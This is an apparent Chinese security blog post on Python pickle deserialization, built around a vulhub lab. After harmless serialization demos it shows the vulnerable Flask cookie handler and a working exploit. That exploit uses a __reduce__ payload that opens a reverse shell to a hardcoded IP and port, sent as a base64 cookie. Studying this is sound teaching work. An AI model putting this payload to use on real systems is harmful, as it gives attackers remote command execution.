Python-unpickle反序列化漏洞简单分析
虽然反序列化不是语言本身的问题,但是安全研究方面都主要是java和php的反序列化漏洞为主,毕竟应用场景更广,对于Python的反序列化,感觉出现在CTF里要多一些,Python主要是用pickle模块来实现的。看到vulhub里刚好有Python反序列化漏洞的环境,就拿来研究一下。
还是先演示一下Python的序列化,以我自己写的一个demo为例。
import pickle class Hacker(): def __init__(self,name): self.name = name def dream(self): print(self.name+' Want To Be Awsome!') Person = Hacker('Zgao') Person.dream() info = pickle.dumps(Person) print(info)
我构造了一个Hacker类,实例化了一个Person对象,然后用pickle模块将其序列化,对应的输出为:
Zgao Want To Be Awsome!
b’\x80\x03c__main__\nHacker\nq\x00)\x81q\x01}q\x02X\x04\x00\x00\x00nameq\x03X\x04\x00\x00\x00Zgaoq\x04sb.’
红色部分就是序列化之后的内容,反正是一堆字符。当然也可以将其反序列化为对象。
import pickle class Hacker(): def __init__(self,name): self.name = name def dream(self): print(self.name+' Want To Be Awsome!') Person = Hacker('Zgao') info = pickle.dumps(Person) a = pickle.loads(info) a.dream()
输出为:Zgao Want To Be Awsome!
我们将其反序列化给a这个对象,并调用dream方法成功了。可以简单归纳一下过程。
序列化过程:
- 从对象提取所有属性,并将属性转化为名值对
- 写入对象的类名
- 写入名值对
反序列化过程:
- 获取 pickle 输入流
- 重建属性列表
- 根据类名创建一个新的对象
- 将属性复制到新的对象中
但是需要注意的是,这个对象只要能在当前环境下创建起来就能完成反序列化,否则则不能实现对象的重构。现在对Python序列化和反序列化有一定了解了,就来看vulhub给的漏洞代码。
import pickle import base64 from flask import Flask, request app = Flask(__name__) @app.route("/") def index(): try: user = base64.b64decode(request.cookies.get('user')) user = pickle.loads(user) username = user["username"] except: username = "Guest" return "Hello %s" % username if __name__ == "__main__": app.run()
依旧是用的flask,从代码中看到实际是从cookies中取出user的值,先base64解码后再反序列化,异常则返回Guest,所以我们直接访问就是看到的Hello Guest。虽然看了代码后思路很简单,利用思路就是自己构造一个恶意类序列化后base64编码,再以cookie的形式发包即可,但我们还是先看看vulhub提供的exp,我做了一些修改。
#!/usr/bin/env python3 import requests import pickle import os import base64 class exp(object): def __reduce__(self): s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.240.75.183",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'""" return (os.system, (s,)) e = exp() s = pickle.dumps(e) response = requests.get("http://47.240.75.183:1900/", cookies=dict( user=base64.b64encode(s).decode() )) print(response.content)
我们分析一下exp的代码,是将反弹shell的操作放到Python代码中去实现的,而并非bash直接反弹。发现还用到了__reduce__魔法函数,它的作用是什么呢?
当定义扩展类型时,如果你想pickle它们,你必须告诉Python如何pickle它们。 __reduce__ 被定义之后,当对象被Pickle时就会被调用。它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。这个元组包含2到5个元素,其中包括:第一个可调用的对象,用于重建对象时调用;第二个参数元素,供那个可调用对象使用,剩下的可选。
所以比如最后return (eval,(“os.system(‘ls’)”,)),那么就是执行eval函数,然后元组内的值作为参数,从而达到执行命令或代码的目的,当然也可以return (os.system,(‘ls’,))。
不过要想对Python反序列化的漏洞有深入的理解,还需要对pickle源码进行分析,所以这里只能浅尝辄止,带我读完pickle源码再进一步分析。
赞赏微信赞赏支付宝赞赏
发表评论